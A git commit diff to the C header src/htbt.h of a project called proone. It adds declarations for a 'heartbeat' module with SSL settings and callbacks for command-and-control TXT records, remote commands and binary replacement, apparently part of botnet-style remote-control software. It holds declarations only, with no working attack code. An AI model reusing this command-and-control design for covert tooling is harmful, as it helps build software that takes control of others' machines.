diff options
author | David Timber <mieabby@gmail.com> | 2020-08-29 17:09:10 +0930 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2020-08-29 17:20:37 +0930 |
commit | f36333b2c915ac7d9cf82e09ab5cb2a2f8296177 (patch) | |
tree | 48e28c7750c99414bc1430ffefbd9fbaa26788e5 /src/htbt.h | |
parent | acf0b7a45171555eba2c10a6ef84f915c62f6791 (diff) |
* _POSIX_C_SOURCE=199506L
* Add proone-htbthost
* Add prne_iobuf, use it in resolv, htbt
* memzero() -> prne_memzero() now as a function
* Add prne_mbedtls_pth_handle()
* Protocol changes
* Remove prne_unint_*()
* Add src/proone_conf.skel
Diffstat (limited to 'src/htbt.h')
-rw-r--r-- | src/htbt.h | 33 |
1 files changed, 27 insertions, 6 deletions
@@ -1,14 +1,35 @@ #pragma once #include "pth.h" #include "resolv.h" +#include "protocol.h" + +#include <mbedtls/ssl.h> -typedef struct prne_htbt prne_htbt_t; struct prne_htbt; +typedef struct prne_htbt prne_htbt_t; +typedef struct prne_htbt_param prne_htbt_param_t; +typedef bool(*prne_htbt_cnc_txtrec_ft)(char *out); +typedef bool(*prne_htbt_hostinfo_ft)(prne_htbt_host_info_t *out); +typedef char*(*prne_htbt_tmpfile_ft)(const size_t req_size); +typedef bool(*prne_htbt_cmd_ft)(const prne_htbt_cmd_t *cmd); +typedef bool(*prne_htbt_bin_ft)(const char *path, const prne_htbt_cmd_t *cmd); + +struct prne_htbt_param { + mbedtls_ssl_config *lbd_ssl_conf; + mbedtls_ssl_config *cncp_ssl_conf; + mbedtls_ctr_drbg_context *ctr_drbg; + prne_resolv_t *resolv; + struct { + prne_htbt_cnc_txtrec_ft cnc_txtrec; + prne_htbt_hostinfo_ft hostinfo; // optional + prne_htbt_tmpfile_ft tmpfile; // optional + prne_htbt_bin_ft ny_bin; // optional + } cb_f; +}; + +prne_htbt_t *prne_alloc_htbt (prne_worker_t *w, const prne_htbt_param_t param); -prne_htbt_t *prne_alloc_htbt_worker ( - prne_worker_t *w, - pth_t sigterm_pth, - prne_resolv_t *resolv, // optional - mbedtls_ctr_drbg_context *ctr_drbg); +void prne_htbt_init_param (prne_htbt_param_t *p); +void prne_htbt_free_param (prne_htbt_param_t *p); |